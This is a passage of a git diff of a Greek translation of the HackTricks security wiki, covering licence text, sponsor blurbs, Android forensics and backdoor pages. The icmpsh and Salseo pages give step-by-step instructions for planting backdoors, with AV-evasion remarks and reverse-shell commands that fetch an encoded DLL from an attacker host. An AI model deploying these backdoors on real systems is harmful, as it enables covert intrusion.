Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα δικαίωμα ή εξουσία να σας απαγορεύσει να κάνετε τεχνικές τροποποιήσεις που είναι απαραίτητες για να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, συμπεριλαμβανομένων των τεχνικών τροποποιήσεων που είναι απαραίτητες για να παρακαμφθούν τα Αποτελεσματικά Τεχνολογικά Μέτρα. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η απλή πραγματοποίηση τροποποιήσεων που επιτρέπονται από αυτό το Τμήμα 2(a)(4) δεν παράγει ποτέ Προσαρμοσμένο Υλικό. 5. **Δεχόμενοι παραλήπτες.** A. **Προσφορά από τον Αδειοδότη – Αδειοδοτημένο Υλικό.** Κάθε παραλήπτης του Αδειοδοτημένου Υλικού λαμβάνει αυτόματα μια προσφορά από τον Αδειοδότη να ασκήσει τα Δικαιώματα που Αδειοδοτούνται υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας. -B. **Καμία περιοριστική διάταξη.** Δεν μπορείτε να προσφέρετε ή να επιβάλετε οποιουσδήποτε πρόσθετους ή διαφορετικούς όρους ή προϋποθέσεις, ή να εφαρμόσετε οποιαδήποτε Αποτελεσματικά Τεχνολογικά Μέτρα στο Αδειοδοτημένο Υλικό εάν αυτό περιορίζει την άσκηση των Δικαιωμάτων που Αδειοδοτούνται από οποιονδήποτε παραλήπτη του Αδειοδοτημένου Υλικού. +B. **Καμία περιορισμένη πρόσβαση.** Δεν μπορείτε να προσφέρετε ή να επιβάλετε οποιουσδήποτε πρόσθετους ή διαφορετικούς όρους ή προϋποθέσεις, ή να εφαρμόσετε οποιαδήποτε Αποτελεσματικά Τεχνολογικά Μέτρα στο Αδειοδοτημένο Υλικό εάν αυτό περιορίζει την άσκηση των Δικαιωμάτων που Αδειοδοτούνται από οποιονδήποτε παραλήπτη του Αδειοδοτημένου Υλικού. 6. **Καμία έγκριση.** Τίποτα σε αυτή τη Δημόσια Άδεια δεν συνιστά ή μπορεί να ερμηνευθεί ως άδεια να ισχυριστείτε ή να υπονοήσετε ότι είστε, ή ότι η χρήση σας του Αδειοδοτημένου Υλικού είναι, συνδεδεμένη με, ή χορηγούμενη, υποστηριζόμενη ή παραχωρημένη επίσημη κατάσταση από, τον Αδειοδότη ή άλλους που έχουν οριστεί να λάβουν αναγνώριση όπως παρέχεται στο Τμήμα 3(a)(1)(A)(i). b. **_Άλλα δικαιώματα._** -1. Ηθικά δικαιώματα, όπως το δικαίωμα της ακεραιότητας, δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια, ούτε είναι δικαιώματα δημοσιότητας, ιδιωτικότητας και/ή άλλα παρόμοια δικαιώματα προσωπικότητας. Ωστόσο, στο βαθμό που είναι δυνατόν, ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα τέτοιο δικαίωμα που κατέχει ο Αδειοδότης στο περιορισμένο βαθμό που είναι απαραίτητο για να σας επιτρέψει να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, αλλά όχι διαφορετικά. +1. Ηθικά δικαιώματα, όπως το δικαίωμα της ακεραιότητας, δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια, ούτε είναι δικαιώματα δημοσιότητας, ιδιωτικότητας και/ή άλλα παρόμοια δικαιώματα προσωπικότητας. Ωστόσο, στο βαθμό που είναι δυνατόν, ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα τέτοιο δικαίωμα που κατέχει ο Αδειοδότης στον περιορισμένο βαθμό που είναι απαραίτητο για να σας επιτρέψει να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, αλλά όχι διαφορετικά. 2. Δικαιώματα πατέντας και εμπορικών σημάτων δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια. @@ -85,7 +85,7 @@ b. **_Άλλα δικαιώματα._** Η άσκηση των Δικαιωμάτων που Αδειοδοτούνται από εσάς υπόκειται ρητά στους παρακάτω όρους. -a. **_Αναγνώριση._** +a. **_Αναφορά._** 1. Εάν Μοιράζεστε το Αδειοδοτημένο Υλικό (συμπεριλαμβανομένου σε τροποποιημένη μορφή), πρέπει: @@ -99,13 +99,13 @@ iii. μια ειδοποίηση που αναφέρεται σε αυτή τη iv. μια ειδοποίηση που αναφέρεται στην αποποίηση εγγυήσεων; -v. μια URI ή υπερσύνδεσμο προς το Αδειοδοτημένο Υλικό στο βαθμό που είναι λογικά εφικτό; +v. μια URI ή υπερσύνδεσμο στο Αδειοδοτημένο Υλικό στο βαθμό που είναι λογικά εφικτό; B. να υποδείξετε εάν τροποποιήσατε το Αδειοδοτημένο Υλικό και να διατηρήσετε μια ένδειξη οποιωνδήποτε προηγούμενων τροποποιήσεων; και -C. να υποδείξετε ότι το Αδειοδοτημένο Υλικό είναι αδειοδοτημένο υπό αυτή τη Δημόσια Άδεια, και να συμπεριλάβετε το κείμενο της, ή την URI ή υπερσύνδεσμο προς αυτή τη Δημόσια Άδεια. +C. να υποδείξετε ότι το Αδειοδοτημένο Υλικό είναι αδειοδοτημένο υπό αυτή τη Δημόσια Άδεια, και να συμπεριλάβετε το κείμενο της, ή την URI ή υπερσύνδεσμο σε αυτή τη Δημόσια Άδεια. -2. Μπορείτε να ικανοποιήσετε τους όρους στο Τμήμα 3(a)(1) με οποιονδήποτε λογικό τρόπο με βάση το μέσο, τα μέσα και το πλαίσιο στο οποίο Μοιράζεστε το Αδειοδοτημένο Υλικό. Για παράδειγμα, μπορεί να είναι λογικό να ικανοποιήσετε τους όρους παρέχοντας μια URI ή υπερσύνδεσμο προς μια πηγή που περιλαμβάνει τις απαιτούμενες πληροφορίες. +2. Μπορείτε να ικανοποιήσετε τους όρους στο Τμήμα 3(a)(1) με οποιονδήποτε λογικό τρόπο με βάση το μέσο, τα μέσα και το πλαίσιο στο οποίο Μοιράζεστε το Αδειοδοτημένο Υλικό. Για παράδειγμα, μπορεί να είναι λογικό να ικανοποιήσετε τους όρους παρέχοντας μια URI ή υπερσύνδεσμο σε μια πηγή που περιλαμβάνει τις απαιτούμενες πληροφορίες. 3. Εάν ζητηθεί από τον Αδειοδότη, πρέπει να αφαιρέσετε οποιαδήποτε από τις πληροφορίες που απαιτούνται από το Τμήμα 3(a)(1)(A) στο βαθμό που είναι λογικά εφικτό. @@ -125,7 +125,7 @@ c. πρέπει να συμμορφωθείτε με τους όρους στο ## Τμήμα 5 – Αποποίηση Εγγυήσεων και Περιορισμός Ευθύνης. -a. **Εκτός εάν αναληφθεί διαφορετικά από τον Αδειοδότη, στο βαθμό που είναι δυνατόν, ο Αδειοδότης προσφέρει το Αδειοδοτημένο Υλικό όπως είναι και όπως διατίθεται, και δεν παρέχει καμία δήλωση ή εγγύηση οποιουδήποτε είδους σχετικά με το Αδειοδοτημένο Υλικό, είτε ρητή, σιωπηρή, νομική ή άλλη. Αυτό περιλαμβάνει, χωρίς περιορισμό, εγγυήσεις τίτλου, εμπορευσιμότητας, καταλληλότητας για συγκεκριμένο σκοπό, μη παραβίασης, απουσίας κρυφών ή άλλων ελαττωμάτων, ακρίβειας ή παρουσίας ή απουσίας σφαλμάτων, είτε είναι γνωστά είτε ανακαλύψιμα. Όπου οι αποποιήσεις εγγυήσεων δεν επιτρέπονται πλήρως ή εν μέρει, αυτή η αποποίηση μπορεί να μην ισχύει για εσάς.** +a. **Εκτός εάν αναληφθεί διαφορετικά από τον Αδειοδότη, στο βαθμό που είναι δυνατόν, ο Αδειοδότης προσφέρει το Αδειοδοτημένο Υλικό όπως είναι και όπως διατίθεται, και δεν κάνει καμία δήλωση ή εγγύηση οποιουδήποτε είδους σχετικά με το Αδειοδοτημένο Υλικό, είτε ρητή, είτε σιωπηρή, είτε νομική, είτε άλλη. Αυτό περιλαμβάνει, χωρίς περιορισμό, εγγυήσεις τίτλου, εμπορευσιμότητας, καταλληλότητας για συγκεκριμένο σκοπό, μη παραβίασης, απουσίας λανθασμένων ή άλλων ελαττωμάτων, ακρίβειας ή παρουσίας ή απουσίας σφαλμάτων, είτε γνωστών είτε ανακαλύψιμων. Όπου οι αποποιήσεις εγγυήσεων δεν επιτρέπονται πλήρως ή εν μέρει, αυτή η αποποίηση μπορεί να μην ισχύει για εσάς.** b. **Στο βαθμό που είναι δυνατόν, σε καμία περίπτωση ο Αδειοδότης δεν θα είναι υπεύθυνος προς εσάς με οποιαδήποτε νομική θεωρία (συμπεριλαμβανομένης, χωρίς περιορισμό, της αμέλειας) ή αλλιώς για οποιαδήποτε άμεσες, ειδικές, έμμεσες, παρεπόμενες, αποζημιωτικές, παραδειγματικές ή άλλες ζημίες, κόστη, έξοδα ή ζημίες που προκύπτουν από αυτή τη Δημόσια Άδεια ή τη χρήση του Αδειοδοτημένου Υλικού, ακόμη και αν ο Αδειοδότης έχει ενημερωθεί για την πιθανότητα τέτοιων ζημιών, κόστη, εξόδων ή ζημιών. Όπου ένας περιορισμός ευθύνης δεν επιτρέπεται πλήρως ή εν μέρει, αυτός ο περιορισμός μπορεί να μην ισχύει για εσάς.** @@ -133,7 +133,7 @@ c. Η αποποίηση εγγυήσεων και ο περιορισμός ε ## Τμήμα 6 – Διάρκεια και Τερματισμός. -a. Αυτή η Δημόσια Άδεια ισχύει για τη διάρκεια των Πνευματικών Δικαιωμάτων και Παρόμοιων Δικαιωμάτων που αδειοδοτούνται εδώ. Ωστόσο, εάν δεν συμμορφωθείτε με αυτή τη Δημόσια Άδεια, τότε τα δικαιώματά σας υπό αυτή τη Δημόσια Άδεια τερματίζονται αυτόματα. +a. Αυτή η Δημόσια Άδεια ισχύει για τη διάρκεια των Πνευματικών Δικαιωμάτων και Παρόμοιων Δικαιωμάτων που αδειοδοτούνται εδώ. Ωστόσο, εάν αποτύχετε να συμμορφωθείτε με αυτή τη Δημόσια Άδεια, τότε τα δικαιώματά σας υπό αυτή τη Δημόσια Άδεια τερματίζονται αυτόματα. b. Όπου το δικαίωμά σας να χρησιμοποιήσετε το Αδειοδοτημένο Υλικό έχει τερματιστεί σύμφωνα με το Τμήμα 6(a), επαναφέρεται: @@ -157,7 +157,7 @@ b. Οποιεσδήποτε ρυθμίσεις, κατανοήσεις ή συμ a. Για την αποφυγή αμφιβολιών, αυτή η Δημόσια Άδεια δεν μειώνει, περιορίζει, περιορίζει ή επιβάλλει όρους σε οποιαδήποτε χρήση του Αδειοδοτημένου Υλικού που θα μπορούσε να γίνει νόμιμα χωρίς άδεια υπό αυτή τη Δημόσια Άδεια. -b. Στο βαθμό που είναι δυνατόν, εάν οποιαδήποτε διάταξη αυτής της Δημόσιας Άδειας κριθεί μη εκτελέσιμη, θα αναμορφωθεί αυτόματα στο ελάχιστο βαθμό που είναι απαραίτητο για να καταστεί εκτελέσιμη. Εάν η διάταξη δεν μπορεί να αναμορφωθεί, θα αποσπαστεί από αυτή τη Δημόσια Άδεια χωρίς να επηρεάζεται η εκτελεστότητα των υπόλοιπων όρων και προϋποθέσεων. +b. Στο βαθμό που είναι δυνατόν, εάν οποιαδήποτε διάταξη αυτής της Δημόσιας Άδειας κριθεί μη εκτελέσιμη, θα αναμορφωθεί αυτόματα στον ελάχιστο βαθμό που είναι απαραίτητο για να καταστεί εκτελέσιμη. Εάν η διάταξη δεν μπορεί να αναμορφωθεί, θα αποσπαστεί από αυτή τη Δημόσια Άδεια χωρίς να επηρεάζεται η εκτελεστότητα των υπολοίπων όρων και προϋποθέσεων. c. Κανένας όρος ή προϋπόθεση αυτής της Δημόσιας Άδειας δεν θα παραληφθεί και καμία αποτυχία συμμόρφωσης δεν θα γίνει αποδεκτή εκτός εάν συμφωνηθεί ρητά από τον Αδειοδότη. diff --git a/src/README.md b/src/README.md index 43d0c79ff..8cda379d4 100644 --- a/src/README.md +++ b/src/README.md @@ -94,12 +94,12 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς. +**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς. Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\ -Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης. +Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης. -Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\ +Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\ Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\ Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.** @@ -109,7 +109,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και τις συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**: +Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**: {% embed url="https://academy.8ksec.io/" %} @@ -123,7 +123,7 @@ generic-methodologies-and-resources/pentesting-methodology.md Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα. -Ένα άλλο ενδιαφέρον στοιχείο για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους! +Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) τους και στο [**blog**](https://websec.nl/blog/)! Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.** diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/android-forensics.md b/src/android-forensics.md index daf18922c..4088ba0a8 100644 --- a/src/android-forensics.md +++ b/src/android-forensics.md @@ -12,16 +12,16 @@ ## Απόκτηση Δεδομένων -Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξάγετε το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξαγάγετέ το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` ### Αν έχετε πρόσβαση root ή φυσική σύνδεση στη διεπαφή JTAG - `cat /proc/partitions` (αναζητήστε τη διαδρομή στη μνήμη flash, γενικά η πρώτη καταχώρηση είναι _mmcblk0_ και αντιστοιχεί σε ολόκληρη τη μνήμη flash). - `df /data` (Ανακαλύψτε το μέγεθος μπλοκ του συστήματος). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συγκεντρώθηκαν από το μέγεθος μπλοκ). +- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συλλέξατε από το μέγεθος μπλοκ). ### Μνήμη -Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb. +Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξαγάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb. {{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..8115f6adf 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Κατεβάστε το backdoor από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) # Client side -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Εκτελέστε το σενάριο: **run.sh** +**Αν λάβετε κάποιο σφάλμα, προσπαθήστε να αλλάξετε τις γραμμές:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Για:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Πλευρά Θύματος** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Ανεβάστε **icmpsh.exe** στο θύμα και εκτελέστε: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..b6f2eead8 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## Συγκέντρωση των δυαδικών αρχείων -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε το **EvilSalsa** και το **SalseoLoader**. Θα χρειαστείτε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική της Windows συσκευής όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στην **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και στη συνέχεια στην **"\ Properties"**) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Στη συνέχεια, κατασκευάστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Προετοιμάστε το Backdoor -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Πρώτα απ' όλα, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Εντάξει, τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλα τα πράγματα Salseo: το **encoded EvilDalsa.dll** και το **binary of SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Ανεβάστε το SalseoLoader.exe binary στη μηχανή. Δεν θα πρέπει να ανιχνεύονται από κανένα AV...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Εκτέλεση του backdoor** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Λήψη ενός TCP reverse shell (κατεβάζοντας το encoded dll μέσω HTTP)** +Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν HTTP server για να σερβίρετε το encoded evilsalsa. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Λήψη ενός UDP reverse shell (κατέβασμα κωδικοποιημένου dll μέσω SMB)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν SMB server για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Λήψη ICMP αντίστροφης θύρας (κωδικοποιημένο dll ήδη μέσα στο θύμα)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε την αντίστροφη θύρα. Κατεβάστε:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Απενεργοποίηση Απαντήσεων ICMP:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### Εκτέλεση του πελάτη: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### Μέσα στον θύμα, ας εκτελέσουμε το salseo πράγμα: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Συγκέντρωση του SalseoLoader ως DLL που εξάγει τη βασική λειτουργία -## Compiling SalseoLoader as DLL exporting main function +Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Προσθέστε πριν από τη βασική λειτουργία: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Εγκαταστήστε το DllExport για αυτό το έργο -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Εργαλεία** --> **Διαχειριστής Πακέτων NuGet** --> **Διαχείριση Πακέτων NuGet για τη Λύση...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτησης) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +Στο φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport_Configure.bat** -### **U**ninstall DllExport +### **Α**πεγκαταστήστε το DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Έξοδος από το Visual Studio και εκτέλεση του DllExport_configure** -Just **exit** Visual Studio +Απλά **έξοδος** από το Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +Στη συνέχεια, πηγαίνετε στο **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτό ήταν η περίπτωση μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace για DllExport**) και πατήστε **Εφαρμογή** ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Ανοίξτε ξανά το έργο με το Visual Studio** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** δεν θα πρέπει πλέον να επισημαίνεται ως σφάλμα ![](<../images/image (8) (1).png>) -### Build the solution +### Δημιουργία της λύσης -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Επιλέξτε **Τύπος Έξοδου = Βιβλιοθήκη Κλάσης** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη Κλάσης) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Δημιουργία --> Στόχος πλατφόρμας = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Για να **δημιουργήσετε** τη λύση: Δημιουργία --> Δημιουργία Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή της νέας DLL) -### Test the generated Dll +### Δοκιμάστε την παραγόμενη DLL -Copy and paste the Dll where you want to test it. - -Execute: +Αντιγράψτε και επικολλήστε την DLL όπου θέλετε να τη δοκιμάσετε. +Εκτελέστε: ``` rundll32.exe SalseoLoader.dll,main ``` +Αν δεν εμφανιστεί σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!! -If no error appears, probably you have a functional DLL!! +## Πάρτε ένα shell χρησιμοποιώντας το DLL -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **server** και να ρυθμίσετε έναν **nc** **listener** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..84a7d420b 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks 